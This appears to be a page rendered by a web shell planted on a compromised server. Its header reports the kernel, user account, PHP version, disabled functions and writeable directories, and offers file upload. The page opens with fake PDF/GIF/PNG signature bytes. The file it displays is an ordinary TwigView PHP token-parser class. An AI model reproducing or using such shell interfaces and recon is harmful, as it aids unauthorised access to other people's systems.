%PDF- %GIF98; %PNG; .
Cyber Programmer
Logo of a company Server : Apache
System : Linux host.digitalbabaji.in 4.18.0-513.11.1.el8_9.x86_64 #1 SMP Wed Jan 17 02:00:40 EST 2024 x86_64
User : addictionfreeind ( 1003)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Directory :  /home/addictionfreeind/www/vendor/wyrihaximus/twig-view/src/Lib/Twig/TokenParser/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/addictionfreeind/www/vendor/wyrihaximus/twig-view/src/Lib/Twig/TokenParser/Element.php
<?php

/**
 * This file is part of TwigView.
 *
 ** (c) 2014 Cees-Jan Kiewiet
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */
namespace WyriHaximus\TwigView\Lib\Twig\TokenParser;

use WyriHaximus\TwigView\Lib\Twig\Node\Element as ElementNode;

/**
 * Class Element
 * @package WyriHaximus\TwigView\Lib\Twig\TokenParser
 */
class Element extends \Twig_TokenParser_Include
{

    /**
     * Parse token.
     *
     * @param \Twig_Token $token Token.
     *
     * @return \Twig_NodeInterface|ElementNode
     */
    // @codingStandardsIgnoreStart
    public function parse(\Twig_Token $token)
    {
        // @codingStandardsIgnoreEnd
        // @codingStandardsIgnoreStart
        $stream = $this->parser->getStream();
        $name = $this->parser->getExpressionParser()->parseExpression();

        $data = null;
        if (!$stream->test(\Twig_Token::BLOCK_END_TYPE)) {
            $data = $this->parser->getExpressionParser()->parseExpression();
        }

        $options = null;
        if (!$stream->test(\Twig_Token::BLOCK_END_TYPE)) {
            $options = $this->parser->getExpressionParser()->parseExpression();
        }
        // @codingStandardsIgnoreEnd

        $stream->expect(\Twig_Token::BLOCK_END_TYPE);

        return new ElementNode($name, $data, $options, $token->getLine(), $this->getTag());
    }

    /**
     * Get tag name.
     *
     * @return string
     */
    public function getTag()
    {
        return 'element';
    }
}

VaKeR 2022